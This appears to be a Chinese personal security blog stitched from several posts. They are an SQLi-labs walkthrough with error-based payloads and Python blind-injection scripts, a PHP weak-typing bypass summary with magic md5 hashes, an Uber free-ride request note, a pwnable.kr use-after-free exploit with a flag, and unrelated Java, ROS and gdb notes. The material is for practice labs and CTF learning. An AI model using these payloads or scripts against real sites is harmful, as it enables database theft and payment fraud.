漏洞测试平台——SQLi-labs

SQLi-labs是个专门用来学习SQL注入的开源漏洞测试平台,基于php+mysql开发,所以里面涉及的SQL注入都是mysql语法。

下载的地址是https://github.com/Audi-1/sqli-labs

下载安装按照readme里面要求即可,这里不多废话。下面是每个题目的具体分析:

1、error based string sqli

首先是源码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "
";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}

我们可以看到当mysql语句正确执行的时候,应用会打印结果,但是没有正确执行的时候会打印错误,所以这里我们并不能像有回显位注入那样直接注入mysql语句。我们需要利用报错信息进行注入。

原理其实比较简单,一般都是利用某函数X    比如X(exp)  mysql函数在执行的时候会先执行函数里面的exp,获取返回值,然后再把exp的返回值作为参数给X进行执行,当exp的返回值不符合X的传参要求时,会导致query错误,打印出错误。

直接贴上一个老毛子整理的error based的cheat sheet:https://blackfan.ru/mysql_game/

构造exp:‘|polygon((select*from(select name_const(version(),1))x))%23

2、error based integer sqli

原理同一,只不过是注入点的变量是integer

exp:|polygon((select*from(select name_const(version(),1))x))%23

3、注入点变量外有单引号和括号,在exp中添加对应的符号即可:

exp:’)|polygon((select*from(select name_const(version(),1))x))%23

4 、双引号加括号的error based 注入,变下exp即可:

exp: “)|polygon((select*from(select name_const(version(),1))x))%23

5、string 单引号注入同第一题

exp: ‘ |polygon((select*from(select name_const(version(),1))x))%23

6、string 双引号注入

exp: “|polygon((select*from(select name_const(version(),1))x))%23

7、我们先看下源码:

error_reporting(0);

这句话表示不再显示具体错误,只会显示“You have an error in your SQL syntax“,所以这里我们不能用前几题的error based注入,根据标题的提示“dump into outfile”, 由于我权限设置的原因,apache用户无法写入文件,这里直接给出exp了:

1′)) union select 1,2,3 into outfile “/tmp/test.txt”  –-+

8、布尔型的盲注,这里我们通过and 1=1、and 1=2进行判断:

?id=1’+and+1=1–+ 和id=1相同回显

?id=1’+and+1=2–+ 和id=1不同回显

证明这里的and后面的语句被执行了,这里我们需要利用一些函数结合脚本来获取数据库信息:

import requests
payload = '0123456789.abcdefghijklmnopqrstuvwxyz'

for posi in range(20):
    for asc in payload:
        url = "http://tools.ikow.cn/sqli-labs/Less-8/?id=1\'+AND ASCII(SUBSTRING(version(),%d,1))=%d--+" \
              % (posi, ord(asc))
        result = requests.get(url)
        #print url
        if "You are in" in result.content:
            print asc,

9、我们看下第九题的源码(https://github.com/Audi-1/sqli-labs/blob/master/Less-9/index.php)发现sql查询不管是正确还是错误都会返回相同的信息,这个时候我们不能通过第八题中基于回显进行注入了,这里我们要利用mysql中的一些延时函数进行注入。这题是考察基于时间的盲注

mysql中主要有sleep和benchmark两个函数,sql server中有wait for time和wait for delay两个。时间盲注大体上和布尔型盲注相同,这里我们判断语句是否执行是通过mysql数据库延时返回造成我们的http响应延时。

这里直接上写好的脚本,逻辑很简单:

import requests
import time
payload = '0123456789.abcdefghijklmnopqrstuvwxyz'

for posi in range(20):
    for asc in payload:
        FirstRun = int(time.time())
        url = "http://tools.ikow.cn/sqli-labs/Less-9/?id=1\'" \
              "+AND+IF(ASCII(SUBSTRING(version(),%d,1))=%d,SLEEP(5),0)--+" \
              % (posi, ord(asc))
        result = requests.get(url)
        SecondRun = int(time.time())
        #print url
        #print SecondRun,FirstRun
        if SecondRun - FirstRun > 1:
            print asc,

 

11、同样是基于时间的盲注,不过是10中的单引号换成了双引号,简单该下脚本即可

12、基于报错的post双引号加括号注入

exp:uname=admin&passwd=”)/updatexml(0,repeat(version(),2),0)#

13、基于报错的post单引号加括号注入

exp: uname=admin&passwd=’)/updatexml(0,repeat(version(),2),0)#

14、基于报错的post双引号注入

exp: uname=admin&passwd=”/updatexml(0,repeat(version(),2),0)#

15、post 布尔型盲注

exp script:

import requests
payload = '0123456789.abcdefghijklmnopqrstuvwxyz'

for posi in range(20):
    for asc in payload:
        url = "http://tools.ikow.cn/sqli-labs/Less-15/"
        payload = "admin\' AND ASCII(SUBSTRING(version(),%d,1))=%d#" \
              % (posi, ord(asc))
        data = {'uname':'admin', 'passwd': payload}
        result = requests.post(url,data=data)
        #print data
        if "flag.jpg" in result.content:
            print asc,

16、post 时间盲注

 

 

从零开始学安全

最近投了一堆安全的summer intern,结果不是被拒就是杳无音讯,一个oa或者是电面的机会都没有,自己也实在提不起兴趣找SDE的工作。然后回顾自己去年一年,在学校挣扎着完成课程和在实验室写写代码,安全方面似乎没有丝毫的进步。

我发现自己总是在一件事情上不能坚持很长时间,还总是给自己找一堆事情来做,显得自己很牛逼,结果最后很多事情都做不好。

想来想去,发现就是自己还是太浮躁了,口口声声说自己对什么什么感兴趣,结果都是嘴上吹牛逼说说几个名词。如果要让我不借助网络来解释某个东西的原理,用中文十有八九都说不清楚,用英文就更不用说了。

眼看着自己还有一年就要毕业了,虽然说找到一个工作不是什么难事,但是自己浑浑噩噩的样子自己实在看不过去,这里自己做一个小小的计划,踏踏实实从零开始学习安全,然后自己的学习过程都用博客进行记录。对于遇到的每个问题都仔细研究,深入了解原理,learn it and hack it。

作为一个开篇的文章应该有个详细的计划,这里就罗列一下:

1、漏洞测试平台

2、CVE web类漏洞

3、bug bounty

4、自动化脚本

以上内容会不定时更新

bug bounty note—-UBER

free uber:

POST /api/dial/v2/requests HTTP/1.1 Host: dial.uber.com {“start_latitude”:12.925151699999999,”start_longitude”:77.6657536,
“product_id”:”db6779d6-d8da-479f-8ac7-8068f4dade6f”,”payment_method_id”:”xyz”}

change payment_method_id

reference url :http://www.anandpraka.sh/2017/03/how-anyone-could-have-used-uber-to-ride.html

install eclipse on ubuntu 14.04

before install, you should update your JRE and JDK to 8:

Final Update

JDK

sudo apt-get install openjdk-8-jdk

JRE

sudo apt-get install openjdk-8-jre

Old Update

I found two repository but I do not recommend

  • OpenJDK builds (all archs)
    ppa:openjdk-r/ppa
  • OpenJDK 8 backport for trusty
    ppa:jochenkemnade/openjdk-8

Original Message

If you really want to use OpenJDK, you have to compile from source. There is not still any PPA for OpenJDK.

It has been requested at https://bugs.launchpad.net/ubuntu/+bug/1297065

I recommend you to use Webup8 Oracle Java8 Installer

sudo add-apt-repository ppa:webupd8team/java -y
sudo apt-get update
sudo apt-get install oracle-java8-installer

To automatically set up the Java 8 environment variables

sudo apt-get install oracle-java8-set-default

Check it

java -version

So you have to wait to use OpenJDK8

 

Then download eclipse from https://www.eclipse.org/downloads/

unpack and install it

ROS study note

You can choose any editor you like to implement you ROS project. There are some official IDE configuration for ROS : http://wiki.ros.org/IDEs

I prefer using VIM. There is an VIM plugin named rosvim we can use. To install it:

(I use spf13-vim so it uses vundle to manage VIM plugin)

$ echo Bundle \'taketwo/vim-ros\' >> ~/.vimrc.bundles.local
$ vim +BundleInstall! +BundleClean +q

When I run roscore (ROS master) on the sensor, then I try to run “rosnode echo rosout” to print the information of the rosout. It show “Couldn’t find an AF_INET address for “. So we should set the ROS_IP on our host like “export ROS_IP=169.254.10.169”.

 

gdb命令笔记

编译的时候: -g

开始调试:gdb [-tui] test

设置断点:(gdb) breakpoint test.c:123 or  (gdb) b main

运行程序(后面可以跟参数):(gdb) run [arg1 arg2]

清除断点:(gdb) clear

跟踪堆栈:(gdb) where

打印参数:(gdb) print f.BlockType

用16进制打印:(gdb) print/x f.BlockType

单步调试(不进入函数内部):(gdb) next or (gdb) n

单步调试(进入函数内部):(gdb) step or (gdb) s

在每个命令后都显示参数:(gdb) display f.BlockType

设定参数:(gdb) set f.BlockType=0

继续运行:(gdb) cont

推出:(gdb) quit

PHP弱类型漏洞总结

首先说下强弱类型,根据维基百科的定义:

In computer programming, programming languages are often colloquially classified as strongly typed or weakly typed (loosely typed). These terms do not have a precise definition, but in general, a strongly typed language is more likely to generate an error or refuse to compile if the argument passed to a function does not closely match the expected type. On the other hand, a very weakly typed language may produce unpredictable results or may perform implicit type conversion.

对于强弱类型,并没有明确的定义,但是可以通过函数传参进行判断:在某个编程语言里面,给某个函数传了一个不是所需类型的参数,如果编译器报错了,那么可以认为它是强类型语言(strongly typed),反之则认为是弱类型语言(weakly typed)。

这里我们先不直接下结论说PHP是什么类型的(当然大家都知道了),我们按照维基百科的标准来测试一下:

<?php $a = "string"; function test($b) { $b = $b + 1; echo $b; } test($a); ?>

最后的结果是在屏幕上输出1,并没有报错,所以PHP是弱类型语言。

弱类型语言在使用上更为方便快捷,但是同样也带来了一些弊端,也就是这篇文章要总结的PHP弱类型导致的漏洞:

1、使用松散比较“==”

(1)$a=null;$b=flase ;

(2)$a=”;$b=null;

(3)$a=’0′;$b=0;

(4)$a=’abcdefg’;$b=0;

(5)$a=’1abcdefg’;$b=1;

(6)$a=’0e391845′;$b=’0e1948284′;

(7)$a=’0x1240′;$b=123456;

以上这些当我们用$a==$b进行比较时,都会返回true,其中(6)中例如0e\b+这种形式的都会认为是0,所以返回true,这点特性在后面md5()中也会体现,(7)中0x\b+ PHP会认为是16进制,等于10进制的123456.

 

2、switch() 函数自动转换

在使用switch函数时,switch会把传入的参数经过intval处理,这样例如“0euqie”就会变成0,“1eidue”就会变成1,这样会导致运行错误的条件结果

 

3、md5()

md5函数在PHP中有两个问题,第一个问题我们前面提到型如0e\b+类型的变量都会认为相等,这样就导致了两个变量它们本身的值不相同,但是经过md5返回的哈希值都是0e\b+类型的,结果变成了“相等”的。例如在wargame.kr里面有一题:

<?php
    if (isset($_GET['view-source'])) {
         show_source(__FILE__);
         exit();
    }

    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        sleep(3); // anti brute force

        $chk = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];

        if (!ctype_alpha($v1)) {$chk = false;}
        if (!is_numeric($v2) ) {$chk = false;}
        if (md5($v1) != md5($v2)) {$chk = false;}

        if ($chk){
            include("../lib.php");
            echo "Congratulations! FLAG is : ".auth_code("md5_compare");
        } else {
            echo "Wrong...";
        }
    }
?>
<br />
<form method="GET">
    VALUE 1 : <input type="text" name="v1" /><br />
    VALUE 2 : <input type="text" name="v2" /><br />
    <input type="submit" value="chk" />
</form>
<br />
<a href="?view-source">view-source</a>

经过测试,我们发现:

    $ echo -n 240610708 | md5sum
    0e462097431906509019562988736854  -
    $ echo -n QNKCDZO | md5sum
    0e830400451993494058024219903391  -
    $ echo -n aabg7XSs | md5sum
    0e087386482136013740957780965295  -

这三组最后生成的md5都是0e\b+形式的,所以我们最后构造v1=QNKCDZO 和 v2=240610708就能成功绕过判断

另外一个就是:PHP手册中的md5()函数的描述是string md5 ( string $str [, bool $raw_output = false ] ),md5()中的需要是一个string类型的参数。但是当你传递一个array时,md5()不会报错,知识会无法正确地求出array的md5值,这样就会导致任意2个array的md5值都会相等。

$array1[] = array(
"foo" => "bar",
"bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true

 

4、in_array()

在PHP手册中,in_array()函数的解释是bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),如果strict参数没有提供,那么in_array就会使用松散比较来判断$needle是否在$haystack中。当strince的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

可以看到上面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。

array_search()与in_array()也是一样的问题

pwnable.kr-uaf

题目描述:

Mommy, what is Use After Free bug?

ssh [email protected] -p2222 (pw:guest)

根据题目描述我们知道该题考察UAF(use after free)漏洞,关于UAF,简单说下就是内存地址在free后并没有被销毁,下次为相同的结构类型分配大小类似的空间时,之前的内存空间会被重新使用,如果第二次的指针能够被用户所控制,就造成了UAF漏洞。然后有些基础知识(转自:http://blog.csdn.net/qq_20307987/article/details/51511230):

 

1

UAF:引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。

2

UAF错误的原因:

(1)导致程序出错和发生异常的各种条件

(2)程序负责释放内存的指令发生混乱

其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针)

3

UAF漏洞的利用:

(1)先搞出来一个迷途指针

(2)精心构造数据填充被释放的内存区域

(3)再次使用该指针,让填充的数据使eip发生跳转。

4

在填充的阶段要考虑系统的内存分配机制,这里介绍一下SLUB

SLUB

对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。样的话,同一个笼子既可以放鸡,又可以放鸭。也就是说我们释放掉sock对象A以后马上再创建对象B,只要A和B大小相同(不在乎B的类型),那么B就极有可能重用A的内存。SLAB差不多,只不过要求类型也要相同。

既然B可以为任意对象类型,那我们当然希望选择一个用起来顺手的对象类型。至少要符合以下2个条件:

用户可以控制该对象的大小

用户空间可以对该对象写入数据

如果碰巧这块问题内存新分配的数据是比如C++中的类,那这块内存堆对上可能散落着各种函数指针,只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令。

 

5

malloc函数做了那些事情。

大于512字节的请求,是纯粹的最佳分配,通常取决于FIFO,就是最近使用过的。

小于64字节的请求,这是一个缓存分配器,保持一个快速的再生池块。

在这个两者之间的,对于大的和小的请求的组合,做的最好的是通过尝试,找到满足两个目标的最好的。

对于特别大的字节,大于128KB,如果支持的话,依赖于系统内存映射设备。

 

6

虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类vtable中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。

 

7

vptr每个对象都会有一个,而vptable是每个类有一个

vptr指向vtable

一个类中就算有多个虚函数,也只有一个vptr

做多重继承的时候,继承了多个父类,就会有多个vptr

 

8

虚函数表的结构:它是一个函数指针表,每一个表项都指向一个函数。任何一个包含至少一个虚函数的类都会有这样一张表。需要注意的是vtable只包含虚函数的指针,没有函数体。实现上是一个函数指针的数组。虚函数表既有继承性又有多态性。每个派生类的vtable继承了它各个基类的vtable,如果基类vtable中包含某一项,则其派生类的vtable中也将包含同样的一项,但是两项的值可能不同。如果派生类覆写(override)了该项对应的虚函数,则派生类vtable的该项指向覆写后的虚函数,没有覆写的话,则沿用基类的值。

每一个类只有唯一的一个vtable,不是每个对象都有一个vtable,恰恰是每个同一个类的对象都有一个指针,这个指针指向该类的vtable(当然,前提是这个类包含虚函数)。那么,每个对象只额外增加了一个指针的大小,一般说来是4字节。

在类对象的内存布局中,首先是该类的vtable指针,然后才是对象数据。

在通过对象指针调用一个虚函数时,编译器生成的代码将先获取对象类的vtable指针,然后调用vtable中对应的项。对于通过对象指针调用的情况,在编译期间无法确定指针指向的是基类对象还是派生类对象,或者是哪个派生类的对象。但是在运行期间执行到调用语句时,这一点已经确定,编译后的调用代码能够根据具体对象获取正确的vtable,调用正确的虚函数,从而实现多态性。

我们看下uaf.cpp的代码:

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
 virtual void give_shell(){
 system("/bin/sh");
 }
protected:
 int age;
 string name;
public:
 virtual void introduce(){
 cout << "My name is " << name << endl;
 cout << "I am " << age << " years old" << endl;
 }
};

class Man: public Human{
public:
 Man(string name, int age){
 this->name = name;
 this->age = age;
 }
 virtual void introduce(){
 Human::introduce();
 cout << "I am a nice guy!" << endl;
 }
};

class Woman: public Human{
public:
 Woman(string name, int age){
 this->name = name;
 this->age = age;
 }
 virtual void introduce(){
 Human::introduce();
 cout << "I am a cute girl!" << endl;
 }
};

int main(int argc, char* argv[]){
 Human* m = new Man("Jack", 25);
 Human* w = new Woman("Jill", 21);

 size_t len;
 char* data;
 unsigned int op;
 while(1){
 cout << "1. use\n2. after\n3. free\n";
 cin >> op;

 switch(op){
 case 1:
 m->introduce();
 w->introduce();
 break;
 case 2:
 len = atoi(argv[1]);
 data = new char[len];
 read(open(argv[2], O_RDONLY), data, len);
 cout << "your data is allocated" << endl;
 break;
 case 3:
 delete m;
 delete w;
 break;
 default:
 break;
 }
 }

 return 0; 
}

这里我们看到有一个父类 human,两个子类man和woman,human中有两个虚函数,giv_shell 和 introduce,根据前面的基础知识,这里的虚函数都存在vtable中,只不过man和woman中的introduce都分别自己实现了,所以子类中introduce的地址不同,但是give_shell的地址都与父类的地址相同。在main函数中,我们看到分别new了man和woman两个对象,在IDA中我们可以看到新的对象的大小都是24个字节,我们可以看下这篇文章:http://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html, 类的对象所占内存空间大小其实和成员变量的大小是相同的,因为man和woman的成员变量相同,所以他们所占的内存空间都是相同的,这里为我们UAF创造了条件。

我们看下main三个分支的流程:

程序流程是根据输入数字跳转到不同的地方执行

1 调用两个类的函数

2 分配data空间,注意用的时New,从文件名为argv[2]中读取长度为argv[1]的字符到data部分。

3 释放对象

这里如果我们释放对象,然后再去调用,这里会把指针置空然后又引用了,导致这里的指针可以被我们控制,这里arv[]的内容也是通过我们的输入而控制的。所以这里利用的思路就是,先向文件中写入give_shell的地址,然后控制指针指向那个地址即可。

那么如何控制指针呢?前面我们提到了vtable,我们从vtable中获取give_shell的地址替换introduce的地址,然后我们再执行1时,实际执行的是give_shell,因为ssh连接后当前目录不可写,我们在/tmp/下新建文件uafpoc,文件内容为vtable地址-8,因为在调用的时候指针会指向eax+8,所以IDA中我们看到vtable的地址为:0x401570,所以最终我们的payload为:

[email protected]:~$ python -c “print ‘\x68\x15\x40\x00\x00\x00\x00\x00′” > /tmp/uafpoc
[email protected]:~$ ./uaf 24 “/tmp/uafpoc”
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning

这里需要注意下free的顺序是先free的m,后free的w,因此在分配内存的时候优先分配到后释放的w,因此需要先申请一次空间,将w分配出去,再开一次,就能分配到m了

最终的flag为:

yay_f1ag_aft3r_pwning